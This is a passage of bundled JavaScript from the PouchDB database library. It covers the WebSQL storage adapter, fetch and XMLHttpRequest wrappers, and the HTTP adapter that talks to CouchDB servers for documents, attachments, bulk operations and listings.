in favor of 'return_docs' in a future release returnDocs = opts.returnDocs; } else { returnDocs = true; } var results = []; var numResults = 0; function fetchChanges() { var selectStmt = DOC_STORE$1 + '.json AS metadata, ' + DOC_STORE$1 + '.max_seq AS maxSeq, ' + BY_SEQ_STORE$1 + '.json AS winningDoc, ' + BY_SEQ_STORE$1 + '.rev AS winningRev '; var from = DOC_STORE$1 + ' JOIN ' + BY_SEQ_STORE$1; var joiner = DOC_STORE$1 + '.id=' + BY_SEQ_STORE$1 + '.doc_id' + ' AND ' + DOC_STORE$1 + '.winningseq=' + BY_SEQ_STORE$1 + '.seq'; var criteria = ['maxSeq > ?']; var sqlArgs = [opts.since]; if (opts.doc_ids) { criteria.push(DOC_STORE$1 + '.id IN ' + qMarks(opts.doc_ids.length)); sqlArgs = sqlArgs.concat(opts.doc_ids); } var orderBy = 'maxSeq ' + (descending ? 'DESC' : 'ASC'); var sql = select(selectStmt, from, joiner, criteria, orderBy); var filter = filterChange(opts); if (!opts.view && !opts.filter) { // we can just limit in the query sql += ' LIMIT ' + limit; } var lastSeq = opts.since || 0; db.readTransaction(function (tx) { tx.executeSql(sql, sqlArgs, function (tx, result) { function reportChange(change) { return function () { opts.onChange(change); }; } for (var i = 0, l = result.rows.length; i < l; i++) { var item = result.rows.item(i); var metadata = safeJsonParse(item.metadata); lastSeq = item.maxSeq; var doc = unstringifyDoc(item.winningDoc, metadata.id, item.winningRev); var change = opts.processChange(doc, metadata, opts); change.seq = item.maxSeq; var filtered = filter(change); if (typeof filtered === 'object') { return opts.complete(filtered); } if (filtered) { numResults++; if (returnDocs) { results.push(change); } // process the attachment immediately // for the benefit of live listeners if (opts.attachments && opts.include_docs) { fetchAttachmentsIfNecessary$1(doc, opts, api, tx, reportChange(change)); } else { reportChange(change)(); } } if (numResults === limit) { break; } } }); }, websqlError(opts.complete), function () { if (!opts.continuous) { opts.complete(null, { results: results, last_seq: lastSeq }); } }); } fetchChanges(); }; api._close = function (callback) { //WebSQL databases do not need to be closed callback(); }; api._getAttachment = function (docId, attachId, attachment, opts, callback) { var res; var tx = opts.ctx; var digest = attachment.digest; var type = attachment.content_type; var sql = 'SELECT escaped, ' + 'CASE WHEN escaped = 1 THEN body ELSE HEX(body) END AS body FROM ' + ATTACH_STORE$1 + ' WHERE digest=?'; tx.executeSql(sql, [digest], function (tx, result) { // websql has a bug where \u0000 causes early truncation in strings // and blobs. to work around this, we used to use the hex() function, // but that's not performant. after migration 6, we remove \u0000 // and add it back in afterwards var item = result.rows.item(0); var data = item.escaped ? unescapeBlob(item.body) : parseHexString(item.body, encoding); if (opts.binary) { res = binStringToBluffer(data, type); } else { res = thisBtoa(data); } callback(null, res); }); }; api._getRevisionTree = function (docId, callback) { db.readTransaction(function (tx) { var sql = 'SELECT json AS metadata FROM ' + DOC_STORE$1 + ' WHERE id = ?'; tx.executeSql(sql, [docId], function (tx, result) { if (!result.rows.length) { callback(createError(MISSING_DOC)); } else { var data = safeJsonParse(result.rows.item(0).metadata); callback(null, data.rev_tree); } }); }); }; api._doCompaction = function (docId, revs, callback) { if (!revs.length) { return callback(); } db.transaction(function (tx) { // update doc store var sql = 'SELECT json AS metadata FROM ' + DOC_STORE$1 + ' WHERE id = ?'; tx.executeSql(sql, [docId], function (tx, result) { var metadata = safeJsonParse(result.rows.item(0).metadata); traverseRevTree(metadata.rev_tree, function (isLeaf, pos, revHash, ctx, opts) { var rev$$1 = pos + '-' + revHash; if (revs.indexOf(rev$$1) !== -1) { opts.status = 'missing'; } }); var sql = 'UPDATE ' + DOC_STORE$1 + ' SET json = ? WHERE id = ?'; tx.executeSql(sql, [safeJsonStringify(metadata), docId]); }); compactRevs$1(revs, docId, tx); }, websqlError(callback), function () { callback(); }); }; api._getLocal = function (id, callback) { db.readTransaction(function (tx) { var sql = 'SELECT json, rev FROM ' + LOCAL_STORE$1 + ' WHERE id=?'; tx.executeSql(sql, [id], function (tx, res) { if (res.rows.length) { var item = res.rows.item(0); var doc = unstringifyDoc(item.json, id, item.rev); callback(null, doc); } else { callback(createError(MISSING_DOC)); } }); }); }; api._putLocal = function (doc, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } delete doc._revisions; // ignore this, trust the rev var oldRev = doc._rev; var id = doc._id; var newRev; if (!oldRev) { newRev = doc._rev = '0-1'; } else { newRev = doc._rev = '0-' + (parseInt(oldRev.split('-')[1], 10) + 1); } var json = stringifyDoc(doc); var ret; function putLocal(tx) { var sql; var values; if (oldRev) { sql = 'UPDATE ' + LOCAL_STORE$1 + ' SET rev=?, json=? ' + 'WHERE id=? AND rev=?'; values = [newRev, json, id, oldRev]; } else { sql = 'INSERT INTO ' + LOCAL_STORE$1 + ' (id, rev, json) VALUES (?,?,?)'; values = [id, newRev, json]; } tx.executeSql(sql, values, function (tx, res) { if (res.rowsAffected) { ret = {ok: true, id: id, rev: newRev}; if (opts.ctx) { // return immediately callback(null, ret); } } else { callback(createError(REV_CONFLICT)); } }, function () { callback(createError(REV_CONFLICT)); return false; // ack that we handled the error }); } if (opts.ctx) { putLocal(opts.ctx); } else { db.transaction(putLocal, websqlError(callback), function () { if (ret) { callback(null, ret); } }); } }; api._removeLocal = function (doc, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var ret; function removeLocal(tx) { var sql = 'DELETE FROM ' + LOCAL_STORE$1 + ' WHERE id=? AND rev=?'; var params = [doc._id, doc._rev]; tx.executeSql(sql, params, function (tx, res) { if (!res.rowsAffected) { return callback(createError(MISSING_DOC)); } ret = {ok: true, id: doc._id, rev: '0-0'}; if (opts.ctx) { // return immediately callback(null, ret); } }); } if (opts.ctx) { removeLocal(opts.ctx); } else { db.transaction(removeLocal, websqlError(callback), function () { if (ret) { callback(null, ret); } }); } }; api._destroy = function (opts, callback) { websqlChanges.removeAllListeners(api._name); db.transaction(function (tx) { var stores = [DOC_STORE$1, BY_SEQ_STORE$1, ATTACH_STORE$1, META_STORE$1, LOCAL_STORE$1, ATTACH_AND_SEQ_STORE$1]; stores.forEach(function (store) { tx.executeSql('DROP TABLE IF EXISTS ' + store, []); }); }, websqlError(callback), function () { if (hasLocalStorage()) { delete window.localStorage['_pouch__websqldb_' + api._name]; delete window.localStorage[api._name]; } callback(null, {'ok': true}); }); }; } function canOpenTestDB() { try { openDatabase('_pouch_validate_websql', 1, '', 1); return true; } catch (err) { return false; } } // WKWebView had a bug where WebSQL would throw a DOM Exception 18 // (see https://bugs.webkit.org/show_bug.cgi?id=137760 and // https://github.com/pouchdb/pouchdb/issues/5079) // This has been fixed in latest WebKit, so we try to detect it here. function isValidWebSQL() { // WKWebView UA: // Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) // AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13C75 // Chrome for iOS UA: // Mozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; en) // AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 // Mobile/9B206 Safari/7534.48.3 // Firefox for iOS UA: // Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 // (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4 // indexedDB is null on some UIWebViews and undefined in others // see: https://bugs.webkit.org/show_bug.cgi?id=137034 if (typeof indexedDB === 'undefined' || indexedDB === null || !/iP(hone|od|ad)/.test(navigator.userAgent)) { // definitely not WKWebView, avoid creating an unnecessary database return true; } // Cache the result in LocalStorage. Reason we do this is because if we // call openDatabase() too many times, Safari craps out in SauceLabs and // starts throwing DOM Exception 14s. var hasLS = hasLocalStorage(); // Include user agent in the hash, so that if Safari is upgraded, we don't // continually think it's broken. var localStorageKey = '_pouch__websqldb_valid_' + navigator.userAgent; if (hasLS && localStorage[localStorageKey]) { return localStorage[localStorageKey] === '1'; } var openedTestDB = canOpenTestDB(); if (hasLS) { localStorage[localStorageKey] = openedTestDB ? '1' : '0'; } return openedTestDB; } function valid() { if (typeof openDatabase !== 'function') { return false; } return isValidWebSQL(); } function openDB(name, version, description, size) { // Traditional WebSQL API return openDatabase(name, version, description, size); } function WebSQLPouch(opts, callback) { var _opts = $inject_Object_assign({ websql: openDB }, opts); WebSqlPouch$1.call(this, _opts, callback); } WebSQLPouch.valid = valid; WebSQLPouch.use_prefix = true; var WebSqlPouch = function (PouchDB) { PouchDB.adapter('websql', WebSQLPouch, true); }; /* global fetch */ /* global Headers */ function wrappedFetch() { var wrappedPromise = {}; var promise = new PouchPromise$1(function (resolve, reject) { wrappedPromise.resolve = resolve; wrappedPromise.reject = reject; }); var args = new Array(arguments.length); for (var i = 0; i < args.length; i++) { args[i] = arguments[i]; } wrappedPromise.promise = promise; PouchPromise$1.resolve().then(function () { return fetch.apply(null, args); }).then(function (response) { wrappedPromise.resolve(response); }).catch(function (error) { wrappedPromise.reject(error); }); return wrappedPromise; } function fetchRequest(options, callback) { var wrappedPromise, timer, response; var headers = new Headers(); var fetchOptions = { method: options.method, credentials: 'include', headers: headers }; if (options.json) { headers.set('Accept', 'application/json'); headers.set('Content-Type', options.headers['Content-Type'] || 'application/json'); } if (options.body && options.processData && typeof options.body !== 'string') { fetchOptions.body = JSON.stringify(options.body); } else if ('body' in options) { fetchOptions.body = options.body; } else { fetchOptions.body = null; } Object.keys(options.headers).forEach(function (key) { if (options.headers.hasOwnProperty(key)) { headers.set(key, options.headers[key]); } }); wrappedPromise = wrappedFetch(options.url, fetchOptions); if (options.timeout > 0) { timer = setTimeout(function () { wrappedPromise.reject(new Error('Load timeout for resource: ' + options.url)); }, options.timeout); } wrappedPromise.promise.then(function (fetchResponse) { response = { statusCode: fetchResponse.status }; if (options.timeout > 0) { clearTimeout(timer); } if (response.statusCode >= 200 && response.statusCode < 300) { return options.binary ? fetchResponse.blob() : fetchResponse.text(); } return fetchResponse.json(); }).then(function (result) { if (response.statusCode >= 200 && response.statusCode < 300) { callback(null, response, result); } else { result.status = response.statusCode; callback(result); } }).catch(function (error) { if (!error) { // this happens when the listener is canceled error = new Error('canceled'); } callback(error); }); return {abort: wrappedPromise.reject}; } function xhRequest(options, callback) { var xhr, timer; var timedout = false; var abortReq = function () { xhr.abort(); cleanUp(); }; var timeoutReq = function () { timedout = true; xhr.abort(); cleanUp(); }; var ret = {abort: abortReq}; var cleanUp = function () { clearTimeout(timer); ret.abort = function () {}; if (xhr) { xhr.onprogress = undefined; if (xhr.upload) { xhr.upload.onprogress = undefined; } xhr.onreadystatechange = undefined; xhr = undefined; } }; if (options.xhr) { xhr = new options.xhr(); } else { xhr = new XMLHttpRequest(); } try { xhr.open(options.method, options.url); } catch (exception) { return callback(new Error(exception.name || 'Url is invalid')); } xhr.withCredentials = ('withCredentials' in options) ? options.withCredentials : true; if (options.method === 'GET') { delete options.headers['Content-Type']; } else if (options.json) { options.headers.Accept = 'application/json'; options.headers['Content-Type'] = options.headers['Content-Type'] || 'application/json'; if (options.body && options.processData && typeof options.body !== "string") { options.body = JSON.stringify(options.body); } } if (options.binary) { xhr.responseType = 'arraybuffer'; } if (!('body' in options)) { options.body = null; } for (var key in options.headers) { if (options.headers.hasOwnProperty(key)) { xhr.setRequestHeader(key, options.headers[key]); } } if (options.timeout > 0) { timer = setTimeout(timeoutReq, options.timeout); xhr.onprogress = function () { clearTimeout(timer); if (xhr.readyState !== 4) { timer = setTimeout(timeoutReq, options.timeout); } }; if (typeof xhr.upload !== 'undefined') { // does not exist in ie9 xhr.upload.onprogress = xhr.onprogress; } } xhr.onreadystatechange = function () { if (xhr.readyState !== 4) { return; } var response = { statusCode: xhr.status }; if (xhr.status >= 200 && xhr.status < 300) { var data; if (options.binary) { data = createBlob([xhr.response || ''], { type: xhr.getResponseHeader('Content-Type') }); } else { data = xhr.responseText; } callback(null, response, data); } else { var err = {}; if (timedout) { err = new Error('ETIMEDOUT'); err.code = 'ETIMEDOUT'; } else if (typeof xhr.response === 'string') { try { err = JSON.parse(xhr.response); } catch (e) {} } err.status = xhr.status; callback(err); } cleanUp(); }; if (options.body && (options.body instanceof Blob)) { readAsArrayBuffer(options.body, function (arrayBuffer) { xhr.send(arrayBuffer); }); } else { xhr.send(options.body); } return ret; } function testXhr() { try { new XMLHttpRequest(); return true; } catch (err) { return false; } } var hasXhr = testXhr(); function ajax$1(options, callback) { if (!false && (hasXhr || options.xhr)) { return xhRequest(options, callback); } else { return fetchRequest(options, callback); } } // the blob already has a type; do nothing var res$2 = function () {}; function defaultBody() { return ''; } function ajaxCore$1(options, callback) { options = clone(options); var defaultOptions = { method : "GET", headers: {}, json: true, processData: true, timeout: 10000, cache: false }; options = $inject_Object_assign(defaultOptions, options); function onSuccess(obj, resp, cb) { if (!options.binary && options.json && typeof obj === 'string') { /* istanbul ignore next */ try { obj = JSON.parse(obj); } catch (e) { // Probably a malformed JSON from server return cb(e); } } if (Array.isArray(obj)) { obj = obj.map(function (v) { if (v.error || v.missing) { return generateErrorFromResponse(v); } else { return v; } }); } if (options.binary) { res$2(obj, resp); } cb(null, obj, resp); } if (options.json) { if (!options.binary) { options.headers.Accept = 'application/json'; } options.headers['Content-Type'] = options.headers['Content-Type'] || 'application/json'; } if (options.binary) { options.encoding = null; options.json = false; } if (!options.processData) { options.json = false; } return ajax$1(options, function (err, response, body) { if (err) { return callback(generateErrorFromResponse(err)); } var error; var content_type = response.headers && response.headers['content-type']; var data = body || defaultBody(); // CouchDB doesn't always return the right content-type for JSON data, so // we check for ^{ and }$ (ignoring leading/trailing whitespace) if (!options.binary && (options.json || !options.processData) && typeof data !== 'object' && (/json/.test(content_type) || (/^[\s]*\{/.test(data) && /\}[\s]*$/.test(data)))) { try { data = JSON.parse(data.toString()); } catch (e) {} } if (response.statusCode >= 200 && response.statusCode < 300) { onSuccess(data, response, callback); } else { error = generateErrorFromResponse(data); error.status = response.statusCode; callback(error); } }); } function ajax(opts, callback) { // cache-buster, specifically designed to work around IE's aggressive caching // see http://www.dashbay.com/2011/05/internet-explorer-caches-ajax/ // Also Safari caches POSTs, so we need to cache-bust those too. var ua = (navigator && navigator.userAgent) ? navigator.userAgent.toLowerCase() : ''; var isSafari = ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1; var isIE = ua.indexOf('msie') !== -1; var isEdge = ua.indexOf('edge') !== -1; // it appears the new version of safari also caches GETs, // see https://github.com/pouchdb/pouchdb/issues/5010 var shouldCacheBust = (isSafari || ((isIE || isEdge) && opts.method === 'GET')); var cache = 'cache' in opts ? opts.cache : true; var isBlobUrl = /^blob:/.test(opts.url); // don't append nonces for blob URLs if (!isBlobUrl && (shouldCacheBust || !cache)) { var hasArgs = opts.url.indexOf('?') !== -1; opts.url += (hasArgs ? '&' : '?') + '_nonce=' + Date.now(); } return ajaxCore$1(opts, callback); } // dead simple promise pool, inspired by https://github.com/timdp/es6-promise-pool // but much smaller in code size. limits the number of concurrent promises that are executed function pool(promiseFactories, limit) { return new PouchPromise$1(function (resolve, reject) { var running = 0; var current = 0; var done = 0; var len = promiseFactories.length; var err; function runNext() { running++; promiseFactories[current++]().then(onSuccess, onError); } function doNext() { if (++done === len) { /* istanbul ignore if */ if (err) { reject(err); } else { resolve(); } } else { runNextBatch(); } } function onSuccess() { running--; doNext(); } /* istanbul ignore next */ function onError(thisErr) { running--; err = err || thisErr; doNext(); } function runNextBatch() { while (running < limit && current < len) { runNext(); } } runNextBatch(); }); } var CHANGES_BATCH_SIZE = 25; var MAX_SIMULTANEOUS_REVS = 50; var CHANGES_TIMEOUT_BUFFER = 5000; var DEFAULT_HEARTBEAT = 10000; var supportsBulkGetMap = {}; function readAttachmentsAsBlobOrBuffer(row) { var atts = row.doc && row.doc._attachments; if (!atts) { return; } Object.keys(atts).forEach(function (filename) { var att = atts[filename]; att.data = b64ToBluffer(att.data, att.content_type); }); } function encodeDocId(id) { if (/^_design/.test(id)) { return '_design/' + encodeURIComponent(id.slice(8)); } if (/^_local/.test(id)) { return '_local/' + encodeURIComponent(id.slice(7)); } return encodeURIComponent(id); } function preprocessAttachments$2(doc) { if (!doc._attachments || !Object.keys(doc._attachments)) { return PouchPromise$1.resolve(); } return PouchPromise$1.all(Object.keys(doc._attachments).map(function (key) { var attachment = doc._attachments[key]; if (attachment.data && typeof attachment.data !== 'string') { return new PouchPromise$1(function (resolve) { blobToBase64(attachment.data, resolve); }).then(function (b64) { attachment.data = b64; }); } })); } function hasUrlPrefix(opts) { if (!opts.prefix) { return false; } var protocol = parseUri(opts.prefix).protocol; return protocol === 'http' || protocol === 'https'; } // Get all the information you possibly can about the URI given by name and // return it as a suitable object. function getHost(name, opts) { // encode db name if opts.prefix is a url (#5574) if (hasUrlPrefix(opts)) { var dbName = opts.name.substr(opts.prefix.length); name = opts.prefix + encodeURIComponent(dbName); } // Prase the URI into all its little bits var uri = parseUri(name); // Store the user and password as a separate auth object if (uri.user || uri.password) { uri.auth = {username: uri.user, password: uri.password}; } // Split the path part of the URI into parts using '/' as the delimiter // after removing any leading '/' and any trailing '/' var parts = uri.path.replace(/(^\/|\/$)/g, '').split('/'); // Store the first part as the database name and remove it from the parts // array uri.db = parts.pop(); // Prevent double encoding of URI component if (uri.db.indexOf('%') === -1) { uri.db = encodeURIComponent(uri.db); } // Restore the path by joining all the remaining parts (all the parts // except for the database name) with '/'s uri.path = parts.join('/'); return uri; } // Generate a URL with the host data given by opts and the given path function genDBUrl(opts, path) { return genUrl(opts, opts.db + '/' + path); } // Generate a URL with the host data given by opts and the given path function genUrl(opts, path) { // If the host already has a path, then we need to have a path delimiter // Otherwise, the path delimiter is the empty string var pathDel = !opts.path ? '' : '/'; // If the host already has a path, then we need to have a path delimiter // Otherwise, the path delimiter is the empty string return opts.protocol + '://' + opts.host + (opts.port ? (':' + opts.port) : '') + '/' + opts.path + pathDel + path; } function paramsToStr(params) { return '?' + Object.keys(params).map(function (k) { return k + '=' + encodeURIComponent(params[k]); }).join('&'); } // Implements the PouchDB API for dealing with CouchDB instances over HTTP function HttpPouch(opts, callback) { // The functions that will be publicly available for HttpPouch var api = this; var host = getHost(opts.name, opts); var dbUrl = genDBUrl(host, ''); opts = clone(opts); var ajaxOpts = opts.ajax || {}; if (opts.auth || host.auth) { var nAuth = opts.auth || host.auth; var str = nAuth.username + ':' + nAuth.password; var token = thisBtoa(unescape(encodeURIComponent(str))); ajaxOpts.headers = ajaxOpts.headers || {}; ajaxOpts.headers.Authorization = 'Basic ' + token; } // Not strictly necessary, but we do this because numerous tests // rely on swapping ajax in and out. api._ajax = ajax; function ajax$$1(userOpts, options, callback) { var reqAjax = userOpts.ajax || {}; var reqOpts = $inject_Object_assign(clone(ajaxOpts), reqAjax, options); var defaultHeaders = clone(ajaxOpts.headers || {}); reqOpts.headers = $inject_Object_assign(defaultHeaders, reqAjax.headers, options.headers || {}); /* istanbul ignore if */ if (api.constructor.listeners('debug').length) { api.constructor.emit('debug', ['http', reqOpts.method, reqOpts.url]); } return api._ajax(reqOpts, callback); } function ajaxPromise(userOpts, opts) { return new PouchPromise$1(function (resolve, reject) { ajax$$1(userOpts, opts, function (err, res) { /* istanbul ignore if */ if (err) { return reject(err); } resolve(res); }); }); } function adapterFun$$1(name, fun) { return adapterFun(name, getArguments(function (args) { setup().then(function () { return fun.apply(this, args); }).catch(function (e) { var callback = args.pop(); callback(e); }); })); } var setupPromise; function setup() { // TODO: Remove `skipSetup` in favor of `skip_setup` in a future release if (opts.skipSetup || opts.skip_setup) { return PouchPromise$1.resolve(); } // If there is a setup in process or previous successful setup // done then we will use that // If previous setups have been rejected we will try again if (setupPromise) { return setupPromise; } var checkExists = {method: 'GET', url: dbUrl}; setupPromise = ajaxPromise({}, checkExists).catch(function (err) { if (err && err.status && err.status === 404) { // Doesnt exist, create it explainError(404, 'PouchDB is just detecting if the remote exists.'); return ajaxPromise({}, {method: 'PUT', url: dbUrl}); } else { return PouchPromise$1.reject(err); } }).catch(function (err) { // If we try to create a database that already exists, skipped in // istanbul since its catching a race condition. /* istanbul ignore if */ if (err && err.status && err.status === 412) { return true; } return PouchPromise$1.reject(err); }); setupPromise.catch(function () { setupPromise = null; }); return setupPromise; } nextTick(function () { callback(null, api); }); api._remote = true; /* istanbul ignore next */ api.type = function () { return 'http'; }; api.id = adapterFun$$1('id', function (callback) { ajax$$1({}, {method: 'GET', url: genUrl(host, '')}, function (err, result) { var uuid$$1 = (result && result.uuid) ? (result.uuid + host.db) : genDBUrl(host, ''); callback(null, uuid$$1); }); }); api.request = adapterFun$$1('request', function (options, callback) { options.url = genDBUrl(host, options.url); ajax$$1({}, options, callback); }); // Sends a POST request to the host calling the couchdb _compact function // version: The version of CouchDB it is running api.compact = adapterFun$$1('compact', function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } opts = clone(opts); ajax$$1(opts, { url: genDBUrl(host, '_compact'), method: 'POST' }, function () { function ping() { api.info(function (err, res) { // CouchDB may send a "compact_running:true" if it's // already compacting. PouchDB Server doesn't. /* istanbul ignore else */ if (res && !res.compact_running) { callback(null, {ok: true}); } else { setTimeout(ping, opts.interval || 200); } }); } // Ping the http if it's finished compaction ping(); }); }); api.bulkGet = adapterFun('bulkGet', function (opts, callback) { var self = this; function doBulkGet(cb) { var params = {}; if (opts.revs) { params.revs = true; } if (opts.attachments) { /* istanbul ignore next */ params.attachments = true; } if (opts.latest) { params.latest = true; } ajax$$1(opts, { url: genDBUrl(host, '_bulk_get' + paramsToStr(params)), method: 'POST', body: { docs: opts.docs} }, cb); } /* istanbul ignore next */ function doBulkGetShim() { // avoid "url too long error" by splitting up into multiple requests var batchSize = MAX_SIMULTANEOUS_REVS; var numBatches = Math.ceil(opts.docs.length / batchSize); var numDone = 0; var results = new Array(numBatches); function onResult(batchNum) { return function (err, res) { // err is impossible because shim returns a list of errs in that case results[batchNum] = res.results; if (++numDone === numBatches) { callback(null, {results: flatten(results)}); } }; } for (var i = 0; i < numBatches; i++) { var subOpts = pick(opts, ['revs', 'attachments', 'latest']); subOpts.ajax = ajaxOpts; subOpts.docs = opts.docs.slice(i * batchSize, Math.min(opts.docs.length, (i + 1) * batchSize)); bulkGet(self, subOpts, onResult(i)); } } // mark the whole database as either supporting or not supporting _bulk_get var dbUrl = genUrl(host, ''); var supportsBulkGet = supportsBulkGetMap[dbUrl]; /* istanbul ignore next */ if (typeof supportsBulkGet !== 'boolean') { // check if this database supports _bulk_get doBulkGet(function (err, res) { if (err) { supportsBulkGetMap[dbUrl] = false; explainError( err.status, 'PouchDB is just detecting if the remote ' + 'supports the _bulk_get API.' ); doBulkGetShim(); } else { supportsBulkGetMap[dbUrl] = true; callback(null, res); } }); } else if (supportsBulkGet) { doBulkGet(callback); } else { doBulkGetShim(); } }); // Calls GET on the host, which gets back a JSON string containing // couchdb: A welcome string // version: The version of CouchDB it is running api._info = function (callback) { setup().then(function () { ajax$$1({}, { method: 'GET', url: genDBUrl(host, '') }, function (err, res) { /* istanbul ignore next */ if (err) { return callback(err); } res.host = genDBUrl(host, ''); callback(null, res); }); }).catch(callback); }; // Get the document with the given id from the database given by host. // The id could be solely the _id in the database, or it may be a // _design/ID or _local/ID path api.get = adapterFun$$1('get', function (id, opts, callback) { // If no options were given, set the callback to the second parameter if (typeof opts === 'function') { callback = opts; opts = {}; } opts = clone(opts); // List of parameters to add to the GET request var params = {}; if (opts.revs) { params.revs = true; } if (opts.revs_info) { params.revs_info = true; } if (opts.latest) { params.latest = true; } if (opts.open_revs) { if (opts.open_revs !== "all") { opts.open_revs = JSON.stringify(opts.open_revs); } params.open_revs = opts.open_revs; } if (opts.rev) { params.rev = opts.rev; } if (opts.conflicts) { params.conflicts = opts.conflicts; } id = encodeDocId(id); // Set the options for the ajax call var options = { method: 'GET', url: genDBUrl(host, id + paramsToStr(params)) }; function fetchAttachments(doc) { var atts = doc._attachments; var filenames = atts && Object.keys(atts); if (!atts || !filenames.length) { return; } // we fetch these manually in separate XHRs, because // Sync Gateway would normally send it back as multipart/mixed, // which we cannot parse. Also, this is more efficient than // receiving attachments as base64-encoded strings. function fetch(filename) { var att = atts[filename]; var path = encodeDocId(doc._id) + '/' + encodeAttachmentId(filename) + '?rev=' + doc._rev; return ajaxPromise(opts, { method: 'GET', url: genDBUrl(host, path), binary: true }).then(function (blob) { if (opts.binary) { return blob; } return new PouchPromise$1(function (resolve) { blobToBase64(blob, resolve); }); }).then(function (data) { delete att.stub; delete att.length; att.data = data; }); } var promiseFactories = filenames.map(function (filename) { return function () { return fetch(filename); }; }); // This limits the number of parallel xhr requests to 5 any time // to avoid issues with maximum browser request limits return pool(promiseFactories, 5); } function fetchAllAttachments(docOrDocs) { if (Array.isArray(docOrDocs)) { return PouchPromise$1.all(docOrDocs.map(function (doc) { if (doc.ok) { return fetchAttachments(doc.ok); } })); } return fetchAttachments(docOrDocs); } ajaxPromise(opts, options).then(function (res) { return PouchPromise$1.resolve().then(function () { if (opts.attachments) { return fetchAllAttachments(res); } }).then(function () { callback(null, res); }); }).catch(function (e) { e.docId = id; callback(e); }); }); // Delete the document given by doc from the database given by host. api.remove = adapterFun$$1('remove', function (docOrId, optsOrRev, opts, callback) { var doc; if (typeof optsOrRev === 'string') { // id, rev, opts, callback style doc = { _id: docOrId, _rev: optsOrRev }; if (typeof opts === 'function') { callback = opts; opts = {}; } } else { // doc, opts, callback style doc = docOrId; if (typeof optsOrRev === 'function') { callback = optsOrRev; opts = {}; } else { callback = opts; opts = optsOrRev; } } var rev$$1 = (doc._rev || opts.rev); // Delete the document ajax$$1(opts, { method: 'DELETE', url: genDBUrl(host, encodeDocId(doc._id)) + '?rev=' + rev$$1 }, callback); }); function encodeAttachmentId(attachmentId) { return attachmentId.split("/").map(encodeURIComponent).join("/"); } // Get the attachment api.getAttachment = adapterFun$$1('getAttachment', function (docId, attachmentId, opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } var params = opts.rev ? ('?rev=' + opts.rev) : ''; var url = genDBUrl(host, encodeDocId(docId)) + '/' + encodeAttachmentId(attachmentId) + params; ajax$$1(opts, { method: 'GET', url: url, binary: true }, callback); }); // Remove the attachment given by the id and rev api.removeAttachment = adapterFun$$1('removeAttachment', function (docId, attachmentId, rev$$1, callback) { var url = genDBUrl(host, encodeDocId(docId) + '/' + encodeAttachmentId(attachmentId)) + '?rev=' + rev$$1; ajax$$1({}, { method: 'DELETE', url: url }, callback); }); // Add the attachment given by blob and its contentType property // to the document with the given id, the revision given by rev, and // add it to the database given by host. api.putAttachment = adapterFun$$1('putAttachment', function (docId, attachmentId, rev$$1, blob, type, callback) { if (typeof type === 'function') { callback = type; type = blob; blob = rev$$1; rev$$1 = null; } var id = encodeDocId(docId) + '/' + encodeAttachmentId(attachmentId); var url = genDBUrl(host, id); if (rev$$1) { url += '?rev=' + rev$$1; } if (typeof blob === 'string') { // input is assumed to be a base64 string var binary; try { binary = thisAtob(blob); } catch (err) { return callback(createError(BAD_ARG, 'Attachment is not a valid base64 string')); } blob = binary ? binStringToBluffer(binary, type) : ''; } var opts = { headers: {'Content-Type': type}, method: 'PUT', url: url, processData: false, body: blob, timeout: ajaxOpts.timeout || 60000 }; // Add the attachment ajax$$1({}, opts, callback); }); // Update/create multiple documents given by req in the database // given by host. api._bulkDocs = function (req, opts, callback) { // If new_edits=false then it prevents the database from creating // new revision numbers for the documents. Instead it just uses // the old ones. This is used in database replication. req.new_edits = opts.new_edits; setup().then(function () { return PouchPromise$1.all(req.docs.map(preprocessAttachments$2)); }).then(function () { // Update/create the documents ajax$$1(opts, { method: 'POST', url: genDBUrl(host, '_bulk_docs'), timeout: opts.timeout, body: req }, function (err, results) { if (err) { return callback(err); } results.forEach(function (result) { result.ok = true; // smooths out cloudant not adding this }); callback(null, results); }); }).catch(callback); }; // Update/create document api._put = function (doc, opts, callback) { setup().then(function () { return preprocessAttachments$2(doc); }).then(function () { // Update/create the document ajax$$1(opts, { method: 'PUT', url: genDBUrl(host, encodeDocId(doc._id)), body: doc }, function (err, result) { if (err) { err.docId = doc && doc._id; return callback(err); } callback(null, result); }); }).catch(callback); }; // Get a listing of the documents in the database given // by host and ordered by increasing id. api.allDocs = adapterFun$$1('allDocs', function (opts, callback) { if (typeof opts === 'function') { callback = opts; opts = {}; } opts = clone(opts); // List of parameters to add to the GET request var params = {}; var body; var method = 'GET'; if (opts.conflicts) { params.conflicts = true; } if (opts.descending) { params.descending = true; } if (opts.include_docs) { params.include_docs = true; } // added in CouchDB 1.6.0 if (opts.attachments) { params.attachments = true; } if (opts.key) { params.key = JSON.stringify(opts.key); } if (opts.start_key) { opts.startkey = opts.start_key; } if (opts.startkey) { params.startkey = JSON.stringify(opts.startkey); } if (opts.end_key) { opts.endkey = opts.end_key; } if (opts.endkey) { params.endkey = JSON.stringify(opts.endkey); } if (typeof opts.inclusive_end !== 'undefined') { params.inclusive_end = !!opts.inclusive_end; } if (typeof opts.limit !== 'undefined') { params.limit = opts.limit; } if (typeof opts.skip !== 'undefined') { params.skip = opts.skip; } var paramStr = paramsToStr(params); if (typeof opts.keys !== 'undefined') { method = 'POST'; body = {keys: opts.keys}; } // Get the document listing ajaxPromise(opts, { method: method, url: genDBUrl(host, '_all_docs' + paramStr), body: body }).then(function (res) { if (opts.include_docs && opts.attachments && opts.binary) { res.rows.forEach(readAttachmentsAsBlobOrBuffer); } callback(null, res); }).catch(callback); }); // Get a list of changes made to documents in the database given by host. // TODO According to the README, there should be two other methods here, // api.changes.addListener and api.changes.removeListener. api._changes = function (opts) { // We internally page the results of a changes request, this means // if there is a large set of changes to be returned we can start // processing them quicker instead of waiting on the entire // set of changes to return and attempting to process them at once var batchSize = 'batch_size' in opts ? opts.batch_size : CHANGES_BATCH_SIZE; opts = clone(opts); if (opts.continuous && 